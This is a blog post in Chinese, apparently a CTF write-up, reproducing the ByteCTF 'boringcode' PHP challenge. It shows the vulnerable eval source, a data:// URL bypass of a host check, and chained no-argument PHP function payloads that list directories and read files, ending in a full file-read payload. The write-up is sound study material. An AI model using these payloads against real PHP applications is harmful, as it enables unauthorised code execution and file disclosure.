<!DOCTYPE html>
<html>
  <head><meta name="generator" content="Hexo 3.9.0">
<meta name="google-site-verification" content="fQ_tfBgNjE9NQcpKnGAkWapHoKuimF5lVuNuqpPXar0">
    <meta charset="utf-8">
    
    <title>复现ByteCTF-boringcode | Xiao Leung&#39;s Blog</title>
    <meta name="viewport" content="width=device-width, initial-scale=1, maximum-scale=1">
    
    
      <link rel="icon" href="/favicon.png">
    

    <link rel="stylesheet" href="/css/style.css">

    <link rel="stylesheet" href="/js/google-code-prettify/tomorrow-night-eighties.min.css">

  </head>

  <body>
<script src="/live2dw/lib/L2Dwidget.min.js?094cbace49a39548bed64abff5988b05"></script><script>L2Dwidget.init({"log":false,"pluginJsPath":"lib/","pluginModelPath":"assets/","pluginRootPath":"live2dw/","tagMode":false});</script></body></html>
<header>

	<a id="logo" href="/" title="Xiao Leung&#39;s Blog">
	<img src="/favicon.png" alt="Xiao Leung&#39;s Blog"></a>
	
	
		<!--搜索栏-->
		<i class="js-toggle-search iconfont icon-search"></i>


<form class="js-search search-form search-form--modal" method="get" action="http://gushi.li" role="search">
	<div class="search-form__inner">
		<div>
			<i class="iconfont icon-search"></i>
			<input class="text-input" placeholder="Enter Key..." type="search">
		</div>
	</div>
</form>
	

	
		<!--侧边导航栏-->
		<a id="nav-toggle" href="#"><span></span></a>

<nav>
	<div class="menu-top-container">
		<ul id="menu-top" class="menu">
			
				
				<li class="current-menu-item">
					<a href="https://www.plasf.cn/2019/08/01/HelloWorld/" target="_blank">AboutMe</a>
				</li>
			
				
				<li class="current-menu-item">
					<a href="https://www.plasf.cn/HXCTF/" target="_blank">HXCTF</a>
				</li>
			
		</ul>
	</div>
</nav>
	

</header>

<div class="m-header ">
	<section id="hero1" class="hero">
		<div class="inner">
		</div>
	</section>
	
		<figure class="top-image" data-enable=true></figure>
	
</div>

<!--文章列表-->
<div class="wrapper">
  
    <!--文章-->
<article>
	
  
    <h1 class="post-title" itemprop="name">
      复现ByteCTF-boringcode
    </h1>
  

	<div class='post-body mb'>
		<h2 id="前言"><a href="#前言" class="headerlink" title="前言"></a>前言</h2><p>这次比赛没做出来，看着大佬的write up复现，思路真的很骚。</p>
<h2 id="Boringcode"><a href="#Boringcode" class="headerlink" title="Boringcode"></a>Boringcode</h2><ul>
<li><strong>源码</strong></li>
</ul>
<pre><code class="php">&lt;?php
function is_valid_url($url) {
    if (filter_var($url, FILTER_VALIDATE_URL)) {
        if (preg_match(&#39;/data:\/\//i&#39;, $url)) {
            return false;
        }
        return true;
    }
    return false;
}

if (isset($_POST[&#39;url&#39;])){
    $url = $_POST[&#39;url&#39;];
    if (is_valid_url($url)) {
        $r = parse_url($url);
        if (preg_match(&#39;/baidu\.com$/&#39;, $r[&#39;host&#39;])) {
            $code = file_get_contents($url);
            if (&#39;;&#39; === preg_replace(&#39;/[a-z]+\((?R)?\)/&#39;, NULL, $code)) {
                if (preg_match(&#39;/et|na|nt|strlen|info|path|rand|dec|bin|hex|oct|pi|exp|log/i&#39;, $code)) {
                    echo &#39;bye~&#39;;
                } else {
                    eval($code);
                }
            }
        } else {
            echo &quot;error: host not allowed&quot;;
        }
    } else {
        echo &quot;error: invalid url&quot;;
    }
}else{
    highlight_file(__FILE__);
}</code></pre>
<h3 id="考点1"><a href="#考点1" class="headerlink" title="考点1"></a>考点1</h3><pre><code class="php"> if (is_valid_url($url)) {
        $r = parse_url($url);
        if (preg_match(&#39;/baidu\.com$/&#39;, $r[&#39;host&#39;])) {
            $code = file_get_contents($url);</code></pre>
<p>这里如果没有<code>is_valid_url($url)</code>是可以使用data伪协议进行绕过，但是<code>is_valid_url($url)</code>对data进行了过滤使用伪协议这条数行不通，但是也学到了data伪协议可以绕过域名的限制。,但是绕过该点要不一个baidu的鸡肋跳转漏洞要不就是买个xxxbaidu.com的域名。</p>
<p>例如：</p>
<pre><code class="php">&lt;?php
$url = $_POST[&#39;url&#39;];
$r = parse_url($url);
if (preg_match(&#39;/baidu\.com$/&#39;, $r[&#39;host&#39;])) {
            $code = file_get_contents($url);
        }

eval($code);
?&gt;</code></pre>
<p>payload:</p>
<pre><code class="php">url=data://baidu.com/plain;base64,cGhwaW5mbygpOw==</code></pre>
<p><img src="https://www.mycute.cn/static/umeditor/php/upload/20191007/15704299387377.png" alt="img"></p>
<hr>
<h3 id="考点2"><a href="#考点2" class="headerlink" title="考点2"></a>考点2</h3><pre><code class="php">if (&#39;;&#39; === preg_replace(&#39;/[a-z]+\((?R)?\)/&#39;, NULL, $code)) {
                if (preg_match(&#39;/et|na|nt|strlen|info|path|rand|dec|bin|hex|oct|pi|exp|log/i&#39;, $code)) {
                    echo &#39;bye~&#39;;
                } else {
                    eval($code);
                }</code></pre>
<p>这里会把函数给替换为空，如果替换结果剩下一个<code>“；”</code>那么就可以绕过这个正则。</p>
<p><img src="https://www.mycute.cn/static/umeditor/php/upload/20191007/15704330592656.png" alt="img"></p>
<p>可以观察到，这个正则只会匹配函数为纯字母并且参数为空的payload。也就是说我们传入的值必须是一个只含字母并且没有参数的函数的payload.同时可以注意到这个是可以进行一个函数的套用。那就是说让我们构造多个空参数的函数去读取flag.</p>
<p>我们看如下几个函数：</p>
<pre><code class="php">scandir() 
    var_dump(scandir(&#39;.&#39;));
    array(3) { [0]=&gt; string(1) &quot;.&quot; [1]=&gt; string(2) &quot;..&quot; [2]=&gt; string(9) &quot;index.php&quot; } </code></pre>
<p>了一看到<code>scandir(&#39;.&#39;)</code>能够返回当前目录的文件列表的数组，那么怎么取出文件名和读取文件呢，可以使用：</p>
<pre><code class="php">end()//读取数组最后一个元素
readfile()//输出一个文件</code></pre>
<p>那么就可以构造如下payload:</p>
<pre><code class="php">readfile(end(scandir(&#39;.&#39;)))</code></pre>
<p>问题又来了，我们不不能够有这个参数那么点又如何构造呢？从大佬的write up中看到两个方法。</p>
<ol>
<li><pre><code class="php">localeconv()
    var_dump(localeconv());
    array(18) { 
        [&quot;decimal_point&quot;]=&gt; string(1) &quot;.&quot; 
        [&quot;thousands_sep&quot;]=&gt; string(0) &quot;&quot; 
        [&quot;int_curr_symbol&quot;]=&gt; string(0) &quot;&quot;
        [&quot;currency_symbol&quot;]=&gt; string(0) &quot;&quot; 
        [&quot;mon_decimal_point&quot;]=&gt; string(0) &quot;&quot;
        .......
    } </code></pre>
</li>
</ol>
<p>该函数返回一个当地数字以及货币信息的数组，可以看到返回值第一个就是<code>“.”</code>,而与end()相反的取第一个元素的函数有:</p>
<pre><code class="php">current()       返回数组中的当前单元, 默认取第一个值
pos()           current() 的别名</code></pre>
<p>那么就可以构造如下payload.可以读取到文件本地文件。</p>
<pre><code class="php">readfile(end(scandir(pos(localeconv()))))</code></pre>
<p><img src="https://www.mycute.cn/static/umeditor/php/upload/20191007/15704367249781.png" alt="img"></p>
<p>但是flag并不在本文件夹下，那么就需要用到改变当前目录的函数:</p>
<pre><code class="php">chdir() 函数改变当前的目录。
next() 函数将内部指针指向数组中的下一个元素，并输出。 这里可以获取到scandir()返回的&quot;..&quot;</code></pre>
<p>那么构造payload,j就可以跳转到上一目录了，大师chidr并不会返回目录列表,而是会返回一个bool值，我们怎么去读取文件呢:</p>
<pre><code class="php">chdir(next(scandir(pos(localeconv()))))</code></pre>
<p>这里可以使用if()语句，也就是当跳转目录成功时候就读取当前文件。构造如下payload:</p>
<pre><code class="php">if(chdir(next(scandir(pos(localeconv())))))readfile(end(scandir(pos(localeconv()))))</code></pre>
<ol start="2">
<li>当然还有另外的方法，利用当前秒数构造AIISC码再用<code>chr()</code>去转码生成字符。</li>
</ol>
<pre><code class="php">chr(pos(localtime()))</code></pre>
<p>这里出现了一个问题，这个<code>localtime()</code>只接受时间戳，那么这里又出现了其问题如果构造如下payload将无法执行。那么这里还需要不受参数影响的函数，那就<code>time()</code></p>
<pre><code class="php">chr(pos(localtime(chdir(next(scandir(pos(localeconv())))))))</code></pre>
<p>那么可以构造如下payload:</p>
<pre><code class="php">chr(pos(localtime(time(chdir(next(scandir(pos(localeconv()))))))))</code></pre>
<p>整体构造：</p>
<pre><code class="php">echo(readfile(end(scandir(chr(pos(localtime(time(chdir(next(scandir(pos(localeconv()))))))))))));</code></pre>
<h3 id="无参数函数小总结"><a href="#无参数函数小总结" class="headerlink" title="无参数函数小总结"></a>无参数函数小总结</h3><p>这里是针对无参数函数利用来说的。</p>
<pre><code class="php">getchwd() 函数返回当前工作目录。
scandir() 函数返回指定目录中的文件和目录的数组。
dirname() 函数返回路径中的目录部分。
chdir() 函数改变当前的目录。

readfile()  输出一个文件

current()       返回数组中的当前单元, 默认取第一个值
pos()           current() 的别名
next() 函数将内部指针指向数组中的下一个元素，并输出。
end()       将内部指针指向数组中的最后一个元素，并输出。
array_rand()    函数返回数组中的随机键名，或者如果您规定函数返回不只一个键名，则返回包含随机键名的数组。
array_flip()    array_flip() 函数用于反转/交换数组中所有的键名以及它们关联的键值。

chr() 函数从指定的 ASCII 值返回字符。
hex2bin — 转换十六进制字符串为二进制字符串

getenv()        获取一个环境变量的值(在7.1之后可以不给予参数)</code></pre>
<h2 id="参考："><a href="#参考：" class="headerlink" title="参考："></a>参考：</h2><p><a herf="https://xz.aliyun.com/t/6316#toc-9">ByteCTF一道题的分析与学习PHP无参数函数的利用</a></p>

	</div>
	<div class="meta split">
		
			<span>本文总阅读量 <span id="busuanzi_value_page_pv"></span> 次</span>
		
		<time class="post-date" datetime="2019-10-07T06:11:33.000Z" itemprop="datePublished">2019-10-07</time>
	</div>
</article>

<!--评论-->

	
<div class="ds-thread" data-thread-key="ByteCTF-WEB复现" data-title="复现ByteCTF-boringcode" data-url="http://www.plasf.cn/2019/10/07/ByteCTF-WEB复现/"></div>
<script type="text/javascript">

var duoshuoQuery = {short_name:"yumemor"};
	(function() {
		var ds = document.createElement('script');
		ds.type = 'text/javascript';ds.async = true;
		ds.src = (document.location.protocol == 'https:' ? 'https:' : 'http:') + '//static.duoshuo.com/embed.js';
		ds.charset = 'UTF-8';
		(document.getElementsByTagName('head')[0]
		 || document.getElementsByTagName('body')[0]).appendChild(ds);
	})();
</script>


  
</div>


  <svg id="bigTriangleColor" width="100%" height="40" viewBox="0 0 100 102" preserveAspectRatio="none">
    <path d="M0 0 L50 100 L100 0 Z"></path>
  </svg>

  


  <div class="wrapper"></div>





<div class="fat-footer">
	<div class="wrapper">
		<div class="layout layout--center">
			<div class="layout__item palm-mb">
				<div class="media">
					<img class="headimg" src='/assets/blogImg/litten.png' alt='XiaoLeung'>
					<div class="media__body">
						<h4>兵至如归-Xiaoleung&#39;s Blog</h4>
						<p class='site-description'>Don&#39;t forget why we started</p>
					</div>
				</div>
				<div class="author-contact">
					<ul>
						
							
							<li>
				        		<a href="https://github.com/sharpleung" target="_blank">
				        			
				        				<i class="iconfont icon-github"></i>
				        			
				        		</a>
				        	</li>
						
					</ul>
				</div>
			</div>
		</div>
	</div>
</div>

<footer class="footer" role="contentinfo">
	<div class="wrapper wrapper--wide split split--responsive">
<a href="http://beian.miit.gov.cn/">粤ICP备18132442号-1</a><br>
<a target="_blank" href="http://www.beian.gov.cn/portal/registerSystemInfo?recordcode=44011202000643" style="display:inline-block;text-decoration:none;height:20px;line-height:20px;"><img src="http://beian.gov.cn/img/ghs.png" style="float:left;"/><p style="float:left;height:20px;line-height:20px;margin: 0px 0px 0px 5px; color:#939393;">粤公网安备 44011202000643号</p></a><br>

		
			<span>本站总访问量 <span id="busuanzi_value_site_pv"></span> 次, 访客数 <span id="busuanzi_value_site_uv"></span> 人次</span>
		
		<span>Theme by <a href="http://github.com/justpsvm">justpsvm</a>. Powered by <a href="http://hexo.io">Hexo</a></span>
	</div>
</footer>

	<!-－这里导入了 lib.js 里面涵盖了 jQuery 等框架 所以注释掉-->
	<!--<script src="http://lib.sinaapp.com/js/jquery/2.0/jquery.min.js"></script>-->
	<script src="/js/lib.js"></script>
	<script src="/js/google-code-prettify/prettify.js"></script>
	<script src="/js/module.js"></script>
	<script src="/js/script.js"></script>
	
		<script async src="http://dn-lbstatics.qbox.me/busuanzi/2.3/busuanzi.pure.mini.js"></script>
	
	<script type='text/javascript'>
		//代码高亮
		$(document).ready(function(){
	 		$('pre').addClass('prettyprint linenums').attr('style', 'overflow:auto;');
   			prettyPrint();
		});
	</script>
	<script src="/live2dw/lib/L2Dwidget.min.js?094cbace49a39548bed64abff5988b05"></script><script>L2Dwidget.init({"log":false,"pluginJsPath":"lib/","pluginModelPath":"assets/","pluginRootPath":"live2dw/","tagMode":false});</script><script src="/live2dw/lib/L2Dwidget.min.js?094cbace49a39548bed64abff5988b05"></script><script>L2Dwidget.init({"log":false,"pluginJsPath":"lib/","pluginModelPath":"assets/","pluginRootPath":"live2dw/","tagMode":false});</script></body>
</html>

<script async src="//busuanzi.ibruce.info/busuanzi/2.3/busuanzi.pure.mini.js"></script>
 <script type="text/javascript"> /* 鼠标点击特效 - 7Core.CN */ var a_idx = 0;jQuery(document).ready(function($) {$("body").click(function(e) {var a = new Array("富强", "民主", "文明", "和谐", "自由", "平等", "公正" ,"法治", "爱国", "敬业", "诚信", "友善");var $i = $("<span/>").text(a[a_idx]); a_idx = (a_idx + 1) % a.length;var x = e.pageX,y = e.pageY;$i.css({"z-index": 100000000,"top": y - 20,"left": x,"position": "absolute","font-weight": "bold","color": "#ff6651"});$("body").append($i);$i.animate({"top": y - 180,"opacity": 0},1500,function() {$i.remove();});});}); </script>

